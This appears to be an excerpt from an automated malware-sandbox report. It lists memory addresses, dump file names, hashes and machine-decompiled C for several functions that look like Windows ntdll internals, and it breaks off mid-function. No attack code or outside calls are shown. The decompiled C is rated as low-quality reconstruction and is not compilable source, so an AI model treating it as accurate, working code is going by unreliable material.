0x03453954
0x03453961
0x03453961
0x03453967
0x0345396e
0x0345396e
0x03453947
0x0345394c
0x00000000
0x0345394c
0x034538ea
0x034538ee
0x034538f8
0x034538f9
0x034538ff
0x03453900
0x03453902
0x03453903
0x0345390b
0x0345390f
0x03453950
0x00000000
0x03453950
0x03453915
0x0345391d
0x0345391d
0x03453922
0x03453926
0x00000000
0x03453928
0x0345392b
0x0345392b
0x03453935
0x03453937
0x03453937
0x00000000
0x03453935
0x03453926
0x034538f0
0x00000000

Strings

BinaryName, xrefs: 034538B4

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: BinaryName
API String ID: 0-215506332
Opcode ID: 83c2240e26ab79bcc32b9b67f46eaa1b3950f2ec31fccb6c857f46329e94b357
Instruction ID: bad6c94fbff79fd2a6b893b76cc62add521ccfe95cab8dd4a19c88ef00cd2921
Opcode Fuzzy Hash: 83c2240e26ab79bcc32b9b67f46eaa1b3950f2ec31fccb6c857f46329e94b357
Instruction Fuzzy Hash: 7D31E2BAD00609AFDB15DE59C945E6BF778EB80BA0F01416AFD14AF351D7309E04CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0340D294, Relevance: 1.3, Strings: 1, Instructions: 93
COMMON

Download Yara Rule

C-Code - Quality: 33%

			E0340D294(void* __ecx, char __edx, void* __eflags) {
				signed int _v8;
				char _v52;
				signed int _v56;
				signed int _v60;
				intOrPtr _v64;
				char* _v68;
				intOrPtr _v72;
				char _v76;
				signed int _v84;
				intOrPtr _v88;
				char _v92;
				intOrPtr _v96;
				intOrPtr _v100;
				char _v104;
				char _v105;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t35;
				char _t38;
				signed int _t40;
				signed int _t44;
				signed int _t52;
				void* _t53;
				void* _t55;
				void* _t61;
				intOrPtr _t62;
				void* _t64;
				signed int _t65;
				signed int _t66;

				_t68 = (_t66 & 0xfffffff8) - 0x6c;
				_v8 =  *0x34cd360 ^ (_t66 & 0xfffffff8) - 0x0000006c;
				_v105 = __edx;
				_push( &_v92);
				_t52 = 0;
				_push(0);
				_push(0);
				_push( &_v104);
				_push(0);
				_t59 = __ecx;
				_t55 = 2;
				if(E033F4120(_t55, __ecx) < 0) {
					_t35 = 0;
					L8:
					_pop(_t61);
					_pop(_t64);
					_pop(_t53);
					return E0341B640(_t35, _t53, _v8 ^ _t68, _t59, _t61, _t64);
				}
				_v96 = _v100;
				_t38 = _v92;
				if(_t38 != 0) {
					_v104 = _t38;
					_v100 = _v88;
					_t40 = _v84;
				} else {
					_t40 = 0;
				}
				_v72 = _t40;
				_v68 =  &_v104;
				_push( &_v52);
				_v76 = 0x18;
				_push( &_v76);
				_v64 = 0x40;
				_v60 = _t52;
				_v56 = _t52;
				_t44 = E034198D0();
				_t62 = _v88;
				_t65 = _t44;
				if(_t62 != 0) {
					asm("lock xadd [edi], eax");
					if((_t44 | 0xffffffff) != 0) {
						goto L4;
					}
					_push( *((intOrPtr*)(_t62 + 4)));
					E034195D0();
					L033F77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t52, _t62);
					goto L4;
				} else {
					L4:
					L033F77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t52, _v96);
					if(_t65 >= 0) {
						_t52 = 1;
					} else {
						if(_t65 == 0xc0000043 || _t65 == 0xc0000022) {
							_t52 = _t52 & 0xffffff00 | _v105 != _t52;
						}
					}
					_t35 = _t52;
					goto L8;
				}
			}

0x0340d29c
0x0340d2a6
0x0340d2b1
0x0340d2b5
0x0340d2b6
0x0340d2bc
0x0340d2bd
0x0340d2be
0x0340d2bf
0x0340d2c2
0x0340d2c4
0x0340d2cc
0x0340d384
0x0340d34b
0x0340d34f
0x0340d350
0x0340d351
0x0340d35c
0x0340d35c
0x0340d2d6
0x0340d2da
0x0340d2e1
0x0340d361
0x0340d369
0x0340d36d
0x0340d2e3
0x0340d2e3
0x0340d2e3
0x0340d2e5
0x0340d2ed
0x0340d2f5
0x0340d2fa
0x0340d302
0x0340d303
0x0340d30b
0x0340d30f
0x0340d313
0x0340d318
0x0340d31c
0x0340d320
0x0340d379
0x0340d37d
0x00000000
0x00000000
0x0344affe
0x0344b001
0x0344b011
0x00000000
0x0340d322
0x0340d322
0x0340d330
0x0340d337
0x0340d35d
0x0340d339
0x0340d33f
0x0340d38c
0x0340d38c
0x0340d33f
0x0340d349
0x00000000
0x0340d349

Strings

@, xrefs: 0340D303

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 63a03063c7b240952947386e1efdd26c4640550d25a0c13af07756b6cbc7c1f5
Instruction ID: efb3b56f98681792f2f7d1f197410fd10537093f7f27b72fa9a8a750a06e417d
Opcode Fuzzy Hash: 63a03063c7b240952947386e1efdd26c4640550d25a0c13af07756b6cbc7c1f5
Instruction Fuzzy Hash: 6631B1B5A087059FC310DF68C880A6BBBE8EB86654F44093FF9949B290D634DD09CB96

Uniqueness

Uniqueness Score: -1.00%

Function 033E1B8F, Relevance: 1.3, Strings: 1, Instructions: 86
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E033E1B8F(void* __ecx, intOrPtr __edx, intOrPtr* _a4, signed int* _a8) {
				intOrPtr _v8;
				char _v16;
				intOrPtr* _t26;
				intOrPtr _t29;
				void* _t30;
				signed int _t31;

				_t27 = __ecx;
				_t29 = __edx;
				_t31 = 0;
				_v8 = __edx;
				if(__edx == 0) {
					L18:
					_t30 = 0xc000000d;
					goto L12;
				} else {
					_t26 = _a4;
					if(_t26 == 0 || _a8 == 0 || __ecx == 0) {
						goto L18;
					} else {
						E0341BB40(__ecx,  &_v16, __ecx);
						_push(_t26);
						_push(0);
						_push(0);
						_push(_t29);
						_push( &_v16);
						_t30 = E0341A9B0();
						if(_t30 >= 0) {
							_t19 =  *_t26;
							if( *_t26 != 0) {
								goto L7;
							} else {
								 *_a8 =  *_a8 & 0;
							}
						} else {
							if(_t30 != 0xc0000023) {
								L9:
								_push(_t26);
								_push( *_t26);
								_push(_t31);
								_push(_v8);
								_push( &_v16);
								_t30 = E0341A9B0();
								if(_t30 < 0) {
									L12:
									if(_t31 != 0) {
										L033F77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t31);
									}
								} else {
									 *_a8 = _t31;
								}
							} else {
								_t19 =  *_t26;
								if( *_t26 == 0) {
									_t31 = 0;
								} else {
									L7:
									_t31 = L033F4620(_t27,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t19);
								}
								if(_t31 == 0) {
									_t30 = 0xc0000017;
								} else {
									goto L9;
								}
							}
						}
					}
				}
				return _t30;
			}

0x033e1b8f
0x033e1b9a
0x033e1b9c
0x033e1b9e
0x033e1ba3
0x03437010
0x03437010
0x00000000
0x033e1ba9
0x033e1ba9
0x033e1bae
0x00000000
0x033e1bc5
0x033e1bca
0x033e1bcf
0x033e1bd0
0x033e1bd1
0x033e1bd2
0x033e1bd6
0x033e1bdc
0x033e1be0
0x03436ffc
0x03437000
0x00000000
0x03437006
0x03437009
0x03437009
0x033e1be6
0x033e1bec
0x033e1c0b
0x033e1c0b
0x033e1c0c
0x033e1c11
0x033e1c12
0x033e1c15
0x033e1c1b
0x033e1c1f
0x033e1c31
0x033e1c33
0x03437026
0x03437026
0x033e1c21
0x033e1c24
0x033e1c24
0x033e1bee
0x033e1bee
0x033e1bf2
0x033e1c3a
0x033e1bf4
0x033e1bf4
0x033e1c05
0x033e1c05
0x033e1c09
0x033e1c3e
0x00000000
0x00000000
0x00000000
0x033e1c09
0x033e1bec
0x033e1be0
0x033e1bae
0x033e1c2e

Strings

WindowsExcludedProcs, xrefs: 033E1BC5

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: WindowsExcludedProcs
API String ID: 0-3583428290
Opcode ID: 1bf07565f9293903005a3f3a42acb8b910e30ddc7b9aa6256cfa4b1325e2faca
Instruction ID: 479b36d0b087d4dacb930ab44c9b1dd16a974c66b34186fe955b7985f23140af
Opcode Fuzzy Hash: 1bf07565f9293903005a3f3a42acb8b910e30ddc7b9aa6256cfa4b1325e2faca
Instruction Fuzzy Hash: B821D07A901638ABCB21DE56C9C0FABFBBDAB45A60F0A4466F914DF240D630D900C7A4

Uniqueness

Uniqueness Score: -1.00%

Function 033FF716, Relevance: 1.3, Strings: 1, Instructions: 71
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E033FF716(signed int __ecx, void* __edx, intOrPtr _a4, intOrPtr* _a8) {
				intOrPtr _t13;
				intOrPtr _t14;
				signed int _t16;
				signed char _t17;
				intOrPtr _t19;
				intOrPtr _t21;
				intOrPtr _t23;
				intOrPtr* _t25;

				_t25 = _a8;
				_t17 = __ecx;
				if(_t25 == 0) {
					_t19 = 0xc00000f2;
					L8:
					return _t19;
				}
				if((__ecx & 0xfffffffe) != 0) {
					_t19 = 0xc00000ef;
					goto L8;
				}
				_t19 = 0;
				 *_t25 = 0;
				_t21 = 0;
				_t23 = "Actx ";
				if(__edx != 0) {
					if(__edx == 0xfffffffc) {
						L21:
						_t21 = 0x200;
						L5:
						_t13 =  *((intOrPtr*)( *[fs:0x30] + _t21));
						 *_t25 = _t13;
						L6:
						if(_t13 == 0) {
							if((_t17 & 0x00000001) != 0) {
								 *_t25 = _t23;
							}
						}
						L7:
						goto L8;
					}
					if(__edx == 0xfffffffd) {
						 *_t25 = _t23;
						_t13 = _t23;
						goto L6;
					}
					_t13 =  *((intOrPtr*)(__edx + 0x10));
					 *_t25 = _t13;
					L14:
					if(_t21 == 0) {
						goto L6;
					}
					goto L5;
				}
				_t14 = _a4;
				if(_t14 != 0) {
					_t16 =  *(_t14 + 0x14) & 0x00000007;
					if(_t16 <= 1) {
						_t21 = 0x1f8;
						_t13 = 0;
						goto L14;
					}
					if(_t16 == 2) {
						goto L21;
					}
					if(_t16 != 4) {
						_t19 = 0xc00000f0;
						goto L7;
					}
					_t13 = 0;
					goto L6;
				} else {
					_t21 = 0x1f8;
					goto L5;
				}
			}

0x033ff71d
0x033ff722
0x033ff726
0x03444770
0x033ff765
0x033ff769
0x033ff769
0x033ff732
0x0344477a
0x00000000
0x0344477a
0x033ff738
0x033ff73a
0x033ff73c
0x033ff73f
0x033ff746
0x033ff778
0x033ff7a9
0x033ff7a9
0x033ff754
0x033ff75a
0x033ff75d
0x033ff75f
0x033ff761
0x033ff76f
0x033ff771
0x033ff771
0x033ff76f
0x033ff763
0x00000000
0x033ff763
0x033ff77d
0x033ff7a3
0x033ff7a5
0x00000000
0x033ff7a5
0x033ff77f
0x033ff782
0x033ff784
0x033ff786
0x00000000
0x00000000
0x00000000
0x033ff788
0x033ff748
0x033ff74d
0x033ff78d
0x033ff793
0x033ff7b7
0x033ff7bc
0x00000000
0x033ff7bc
0x033ff798
0x00000000
0x00000000
0x033ff79d
0x033ff7b0
0x00000000
0x033ff7b0
0x033ff79f
0x00000000
0x033ff74f
0x033ff74f
0x00000000
0x033ff74f

Strings

Actx , xrefs: 033FF73F

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: Actx
API String ID: 0-89312691
Opcode ID: 60fbbfeb083384548c0c776993e824be4ce29f3174e7fe609074960eb144a30f
Instruction ID: c361b643ec78edbbf45ebe288a417badeca2f55ac8688713b601fb240392d755
Opcode Fuzzy Hash: 60fbbfeb083384548c0c776993e824be4ce29f3174e7fe609074960eb144a30f
Instruction Fuzzy Hash: A711B6353046428FE724CE1D89D0736F29DAB856E4FAC453AFE61DB7A1DB70D8498340

Uniqueness

Uniqueness Score: -1.00%

Function 03488DF1, Relevance: 1.3, Strings: 1, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E03488DF1(void* __ebx, intOrPtr __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t35;
				void* _t41;

				_t40 = __esi;
				_t39 = __edi;
				_t38 = __edx;
				_t35 = __ecx;
				_t34 = __ebx;
				_push(0x74);
				_push(0x34b0d50);
				E0342D0E8(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t41 - 0x7c)) = __edx;
				 *((intOrPtr*)(_t41 - 0x74)) = __ecx;
				if( *((intOrPtr*)( *[fs:0x30] + 2)) != 0 || ( *0x7ffe02d4 & 0 | ( *0x7ffe02d4 & 0x00000003) == 0x00000003) != 0) {
					E03465720(0x65, 0, "Critical error detected %lx\n", _t35);
					if( *((intOrPtr*)(_t41 + 8)) != 0) {
						 *(_t41 - 4) =  *(_t41 - 4) & 0x00000000;
						asm("int3");
						 *(_t41 - 4) = 0xfffffffe;
					}
				}
				 *(_t41 - 4) = 1;
				 *((intOrPtr*)(_t41 - 0x70)) =  *((intOrPtr*)(_t41 - 0x74));
				 *((intOrPtr*)(_t41 - 0x6c)) = 1;
				 *(_t41 - 0x68) =  *(_t41 - 0x68) & 0x00000000;
				 *((intOrPtr*)(_t41 - 0x64)) = L0342DEF0;
				 *((intOrPtr*)(_t41 - 0x60)) = 1;
				 *((intOrPtr*)(_t41 - 0x5c)) =  *((intOrPtr*)(_t41 - 0x7c));
				_push(_t41 - 0x70);
				L0342DEF0(1, _t38);
				 *(_t41 - 4) = 0xfffffffe;
				return E0342D130(_t34, _t39, _t40);
			}

0x03488df1
0x03488df1
0x03488df1
0x03488df1
0x03488df1
0x03488df1
0x03488df3
0x03488df8
0x03488dfd
0x03488e00
0x03488e0e
0x03488e2a
0x03488e36
0x03488e38
0x03488e3c
0x03488e46
0x03488e46
0x03488e36
0x03488e50
0x03488e56
0x03488e59
0x03488e5c
0x03488e60
0x03488e67
0x03488e6d
0x03488e73
0x03488e74
0x03488eb1
0x03488ebd

Strings

Critical error detected %lx, xrefs: 03488E21

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: Critical error detected %lx
API String ID: 0-802127002
Opcode ID: a8042b8a067e4bddc8bac97aefea745b0294cb24d8e2608cb35aecba97688551
Instruction ID: 757d674ba44d59146a7a77c8ebda55aede518a8deefd7fff2a76274d74281496
Opcode Fuzzy Hash: a8042b8a067e4bddc8bac97aefea745b0294cb24d8e2608cb35aecba97688551
Instruction Fuzzy Hash: 32117575D10748DEDB28DFA989057ADBBB0AF05314F64426EE068BF382C3704602CF19

Uniqueness

Uniqueness Score: -1.00%

Function 0346FF10, Relevance: 1.3, Strings: 1, Instructions: 44COMMON

Download Yara Rule

Strings

NTDLL: Calling thread (%p) not owner of CritSect: %p Owner ThreadId: %p, xrefs: 0346FF60

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: NTDLL: Calling thread (%p) not owner of CritSect: %p Owner ThreadId: %p
API String ID: 0-1911121157
Opcode ID: 6480ad963fea6fd0877c8342fd651b7a12503a4e43ea436f717c934bfecb6152
Instruction ID: 0e58e73af8eb9e69d78248d92771aad7e29eb518ac66b4f239acfa034d7ed54b
Opcode Fuzzy Hash: 6480ad963fea6fd0877c8342fd651b7a12503a4e43ea436f717c934bfecb6152
Instruction Fuzzy Hash: 6A110475920284EFDB15EF50C849F9DBBB1FF05704F58805AE0046F2A1C7399944CB59

Uniqueness

Uniqueness Score: -1.00%

Function 034A5BA5, Relevance: .6, Instructions: 592
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E034A5BA5(void* __ebx, signed char __ecx, signed int* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t296;
				signed char _t298;
				signed int _t301;
				signed int _t306;
				signed int _t310;
				signed char _t311;
				intOrPtr _t312;
				signed int _t313;
				void* _t327;
				signed int _t328;
				intOrPtr _t329;
				intOrPtr _t333;
				signed char _t334;
				signed int _t336;
				void* _t339;
				signed int _t340;
				signed int _t356;
				signed int _t362;
				short _t367;
				short _t368;
				short _t373;
				signed int _t380;
				void* _t382;
				short _t385;
				signed short _t392;
				signed char _t393;
				signed int _t395;
				signed char _t397;
				signed int _t398;
				signed short _t402;
				void* _t406;
				signed int _t412;
				signed char _t414;
				signed short _t416;
				signed int _t421;
				signed char _t427;
				intOrPtr _t434;
				signed char _t435;
				signed int _t436;
				signed int _t442;
				signed int _t446;
				signed int _t447;
				signed int _t451;
				signed int _t453;
				signed int _t454;
				signed int _t455;
				intOrPtr _t456;
				intOrPtr* _t457;
				short _t458;
				signed short _t462;
				signed int _t469;
				intOrPtr* _t474;
				signed int _t475;
				signed int _t479;
				signed int _t480;
				signed int _t481;
				short _t485;
				signed int _t491;
				signed int* _t494;
				signed int _t498;
				signed int _t505;
				intOrPtr _t506;
				signed short _t508;
				signed int _t511;
				void* _t517;
				signed int _t519;
				signed int _t522;
				void* _t523;
				signed int _t524;
				void* _t528;
				signed int _t529;

				_push(0xd4);
				_push(0x34b1178);
				E0342D0E8(__ebx, __edi, __esi);
				_t494 = __edx;
				 *(_t528 - 0xcc) = __edx;
				_t511 = __ecx;
				 *((intOrPtr*)(_t528 - 0xb4)) = __ecx;
				 *(_t528 - 0xbc) = __ecx;
				 *((intOrPtr*)(_t528 - 0xc8)) =  *((intOrPtr*)(_t528 + 0x20));
				_t434 =  *((intOrPtr*)(_t528 + 0x24));
				 *((intOrPtr*)(_t528 - 0xc4)) = _t434;
				_t427 = 0;
				 *(_t528 - 0x74) = 0;
				 *(_t528 - 0x9c) = 0;
				 *(_t528 - 0x84) = 0;
				 *(_t528 - 0xac) = 0;
				 *(_t528 - 0x88) = 0;
				 *(_t528 - 0xa8) = 0;
				 *((intOrPtr*)(_t434 + 0x40)) = 0;
				if( *(_t528 + 0x1c) <= 0x80) {
					__eflags =  *(__ecx + 0xc0) & 0x00000004;
					if(__eflags != 0) {
						_t421 = E034A4C56(0, __edx, __ecx, __eflags);
						__eflags = _t421;
						if(_t421 != 0) {
							 *((intOrPtr*)(_t528 - 4)) = 0;
							E0341D000(0x410);
							 *(_t528 - 0x18) = _t529;
							 *(_t528 - 0x9c) = _t529;
							 *((intOrPtr*)(_t528 - 4)) = 0xfffffffe;
							E034A5542(_t528 - 0x9c, _t528 - 0x84);
						}
					}
					_t435 = _t427;
					 *(_t528 - 0xd0) = _t435;
					_t474 = _t511 + 0x65;
					 *((intOrPtr*)(_t528 - 0x94)) = _t474;
					_t511 = 0x18;
					while(1) {
						 *(_t528 - 0xa0) = _t427;
						 *(_t528 - 0xbc) = _t427;
						 *(_t528 - 0x80) = _t427;
						 *(_t528 - 0x78) = 0x50;
						 *(_t528 - 0x79) = _t427;
						 *(_t528 - 0x7a) = _t427;
						 *(_t528 - 0x8c) = _t427;
						 *(_t528 - 0x98) = _t427;
						 *(_t528 - 0x90) = _t427;
						 *(_t528 - 0xb0) = _t427;
						 *(_t528 - 0xb8) = _t427;
						_t296 = 1 << _t435;
						_t436 =  *(_t528 + 0xc) & 0x0000ffff;
						__eflags = _t436 & _t296;
						if((_t436 & _t296) != 0) {
							goto L92;
						}
						__eflags =  *((char*)(_t474 - 1));
						if( *((char*)(_t474 - 1)) == 0) {
							goto L92;
						}
						_t301 =  *_t474;
						__eflags = _t494[1] - _t301;
						if(_t494[1] <= _t301) {
							L10:
							__eflags =  *(_t474 - 5) & 0x00000040;
							if(( *(_t474 - 5) & 0x00000040) == 0) {
								L12:
								__eflags =  *(_t474 - 0xd) & _t494[2] |  *(_t474 - 9) & _t494[3];
								if(( *(_t474 - 0xd) & _t494[2] |  *(_t474 - 9) & _t494[3]) == 0) {
									goto L92;
								}
								_t442 =  *(_t474 - 0x11) & _t494[3];
								__eflags = ( *(_t474 - 0x15) & _t494[2]) -  *(_t474 - 0x15);
								if(( *(_t474 - 0x15) & _t494[2]) !=  *(_t474 - 0x15)) {
									goto L92;
								}
								__eflags = _t442 -  *(_t474 - 0x11);
								if(_t442 !=  *(_t474 - 0x11)) {
									goto L92;
								}
								L15:
								_t306 =  *(_t474 + 1) & 0x000000ff;
								 *(_t528 - 0xc0) = _t306;
								 *(_t528 - 0xa4) = _t306;
								__eflags =  *0x34c60e8;
								if( *0x34c60e8 != 0) {
									__eflags = _t306 - 0x40;
									if(_t306 < 0x40) {
										L20:
										asm("lock inc dword [eax]");
										_t310 =  *0x34c60e8; // 0x0
										_t311 =  *(_t310 +  *(_t528 - 0xa4) * 8);
										__eflags = _t311 & 0x00000001;
										if((_t311 & 0x00000001) == 0) {
											 *(_t528 - 0xa0) = _t311;
											_t475 = _t427;
											 *(_t528 - 0x74) = _t427;
											__eflags = _t475;
											if(_t475 != 0) {
												L91:
												_t474 =  *((intOrPtr*)(_t528 - 0x94));
												goto L92;
											}
											asm("sbb edi, edi");
											_t498 = ( ~( *(_t528 + 0x18)) & _t511) + 0x50;
											_t511 = _t498;
											_t312 =  *((intOrPtr*)(_t528 - 0x94));
											__eflags =  *(_t312 - 5) & 1;
											if(( *(_t312 - 5) & 1) != 0) {
												_push(_t528 - 0x98);
												_push(0x4c);
												_push(_t528 - 0x70);
												_push(1);
												_push(0xfffffffa);
												_t412 = E03419710();
												_t475 = _t427;
												__eflags = _t412;
												if(_t412 >= 0) {
													_t414 =  *(_t528 - 0x98) - 8;
													 *(_t528 - 0x98) = _t414;
													_t416 = _t414 + 0x0000000f & 0x0000fff8;
													 *(_t528 - 0x8c) = _t416;
													 *(_t528 - 0x79) = 1;
													_t511 = (_t416 & 0x0000ffff) + _t498;
													__eflags = _t511;
												}
											}
											_t446 =  *( *((intOrPtr*)(_t528 - 0x94)) - 5);
											__eflags = _t446 & 0x00000004;
											if((_t446 & 0x00000004) != 0) {
												__eflags =  *(_t528 - 0x9c);
												if( *(_t528 - 0x9c) != 0) {
													 *(_t528 - 0x7a) = 1;
													_t511 = _t511 + ( *(_t528 - 0x84) & 0x0000ffff);
													__eflags = _t511;
												}
											}
											_t313 = 2;
											_t447 = _t446 & _t313;
											__eflags = _t447;
											 *(_t528 - 0xd4) = _t447;
											if(_t447 != 0) {
												_t406 = 0x10;
												_t511 = _t511 + _t406;
												__eflags = _t511;
											}
											_t494 = ( *( *((intOrPtr*)(_t528 - 0xc4)) + 0x40) << 4) +  *((intOrPtr*)(_t528 - 0xc4));
											 *(_t528 - 0x88) = _t427;
											__eflags =  *(_t528 + 0x1c);
											if( *(_t528 + 0x1c) <= 0) {
												L45:
												__eflags =  *(_t528 - 0xb0);
												if( *(_t528 - 0xb0) != 0) {
													_t511 = _t511 + (( *(_t528 - 0x90) & 0x0000ffff) + 0x0000000f & 0xfffffff8);
													__eflags = _t511;
												}
												__eflags = _t475;
												if(_t475 != 0) {
													asm("lock dec dword [ecx+edx*8+0x4]");
													goto L100;
												} else {
													_t494[3] = _t511;
													_t451 =  *(_t528 - 0xa0);
													_t427 = E03416DE6(_t451, _t511,  *( *[fs:0x18] + 0xf77) & 0x000000ff, _t528 - 0xe0, _t528 - 0xbc);
													 *(_t528 - 0x88) = _t427;
													__eflags = _t427;
													if(_t427 == 0) {
														__eflags = _t511 - 0xfff8;
														if(_t511 <= 0xfff8) {
															__eflags =  *((intOrPtr*)( *(_t528 - 0xa0) + 0x90)) - _t511;
															asm("sbb ecx, ecx");
															__eflags = (_t451 & 0x000000e2) + 8;
														}
														asm("lock dec dword [eax+edx*8+0x4]");
														L100:
														goto L101;
													}
													_t453 =  *(_t528 - 0xa0);
													 *_t494 = _t453;
													_t494[1] = _t427;
													_t494[2] =  *(_t528 - 0xbc);
													 *( *((intOrPtr*)(_t528 - 0xc4)) + 0x40) =  *( *((intOrPtr*)(_t528 - 0xc4)) + 0x40) + 1;
													 *_t427 =  *(_t453 + 0x24) | _t511;
													 *(_t427 + 4) =  *((intOrPtr*)(_t528 + 0x10));
													 *((short*)(_t427 + 6)) =  *((intOrPtr*)(_t528 + 8));
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													__eflags =  *(_t528 + 0x14);
													if( *(_t528 + 0x14) == 0) {
														__eflags =  *[fs:0x18] + 0xf50;
													}
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													__eflags =  *(_t528 + 0x18);
													if( *(_t528 + 0x18) == 0) {
														_t454 =  *(_t528 - 0x80);
														_t479 =  *(_t528 - 0x78);
														_t327 = 1;
														__eflags = 1;
													} else {
														_t146 = _t427 + 0x50; // 0x50
														_t454 = _t146;
														 *(_t528 - 0x80) = _t454;
														_t382 = 0x18;
														 *_t454 = _t382;
														 *((short*)(_t454 + 2)) = 1;
														_t385 = 0x10;
														 *((short*)(_t454 + 6)) = _t385;
														 *(_t454 + 4) = 0;
														asm("movsd");
														asm("movsd");
														asm("movsd");
														asm("movsd");
														_t327 = 1;
														 *(_t427 + 4) =  *(_t427 + 4) | 1;
														_t479 = 0x68;
														 *(_t528 - 0x78) = _t479;
													}
													__eflags =  *(_t528 - 0x79) - _t327;
													if( *(_t528 - 0x79) == _t327) {
														_t524 = _t479 + _t427;
														_t508 =  *(_t528 - 0x8c);
														 *_t524 = _t508;
														_t373 = 2;
														 *((short*)(_t524 + 2)) = _t373;
														 *((short*)(_t524 + 6)) =  *(_t528 - 0x98);
														 *((short*)(_t524 + 4)) = 0;
														_t167 = _t524 + 8; // 0x8
														E0341F3E0(_t167, _t528 - 0x68,  *(_t528 - 0x98));
														_t529 = _t529 + 0xc;
														 *(_t427 + 4) =  *(_t427 + 4) | 1;
														_t479 =  *(_t528 - 0x78) + (_t508 & 0x0000ffff);
														 *(_t528 - 0x78) = _t479;
														_t380 =  *(_t528 - 0x80);
														__eflags = _t380;
														if(_t380 != 0) {
															_t173 = _t380 + 4;
															 *_t173 =  *(_t380 + 4) | 1;
															__eflags =  *_t173;
														}
														_t454 = _t524;
														 *(_t528 - 0x80) = _t454;
														_t327 = 1;
														__eflags = 1;
													}
													__eflags =  *(_t528 - 0xd4);
													if( *(_t528 - 0xd4) == 0) {
														_t505 =  *(_t528 - 0x80);
													} else {
														_t505 = _t479 + _t427;
														_t523 = 0x10;
														 *_t505 = _t523;
														_t367 = 3;
														 *((short*)(_t505 + 2)) = _t367;
														_t368 = 4;
														 *((short*)(_t505 + 6)) = _t368;
														 *(_t505 + 4) = 0;
														 *((intOrPtr*)(_t505 + 8)) =  *((intOrPtr*)( *[fs:0x30] + 0x1d4));
														_t327 = 1;
														 *(_t427 + 4) =  *(_t427 + 4) | 1;
														_t479 = _t479 + _t523;
														 *(_t528 - 0x78) = _t479;
														__eflags = _t454;
														if(_t454 != 0) {
															_t186 = _t454 + 4;
															 *_t186 =  *(_t454 + 4) | 1;
															__eflags =  *_t186;
														}
														 *(_t528 - 0x80) = _t505;
													}
													__eflags =  *(_t528 - 0x7a) - _t327;
													if( *(_t528 - 0x7a) == _t327) {
														 *(_t528 - 0xd4) = _t479 + _t427;
														_t522 =  *(_t528 - 0x84) & 0x0000ffff;
														E0341F3E0(_t479 + _t427,  *(_t528 - 0x9c), _t522);
														_t529 = _t529 + 0xc;
														 *(_t427 + 4) =  *(_t427 + 4) | 1;
														_t479 =  *(_t528 - 0x78) + _t522;
														 *(_t528 - 0x78) = _t479;
														__eflags = _t505;
														if(_t505 != 0) {
															_t199 = _t505 + 4;
															 *_t199 =  *(_t505 + 4) | 1;
															__eflags =  *_t199;
														}
														_t505 =  *(_t528 - 0xd4);
														 *(_t528 - 0x80) = _t505;
													}
													__eflags =  *(_t528 - 0xa8);
													if( *(_t528 - 0xa8) != 0) {
														_t356 = _t479 + _t427;
														 *(_t528 - 0xd4) = _t356;
														_t462 =  *(_t528 - 0xac);
														 *_t356 = _t462 + 0x0000000f & 0x0000fff8;
														_t485 = 0xc;
														 *((short*)(_t356 + 2)) = _t485;
														 *(_t356 + 6) = _t462;
														 *((short*)(_t356 + 4)) = 0;
														_t211 = _t356 + 8; // 0x9
														E0341F3E0(_t211,  *(_t528 - 0xa8), _t462 & 0x0000ffff);
														E0341FA60((_t462 & 0x0000ffff) + _t211, 0, (_t462 + 0x0000000f & 0x0000fff8) -  *(_t528 - 0xac) - 0x00000008 & 0x0000ffff);
														_t529 = _t529 + 0x18;
														_t427 =  *(_t528 - 0x88);
														 *(_t427 + 4) =  *(_t427 + 4) | 1;
														_t505 =  *(_t528 - 0xd4);
														_t479 =  *(_t528 - 0x78) + ( *_t505 & 0x0000ffff);
														 *(_t528 - 0x78) = _t479;
														_t362 =  *(_t528 - 0x80);
														__eflags = _t362;
														if(_t362 != 0) {
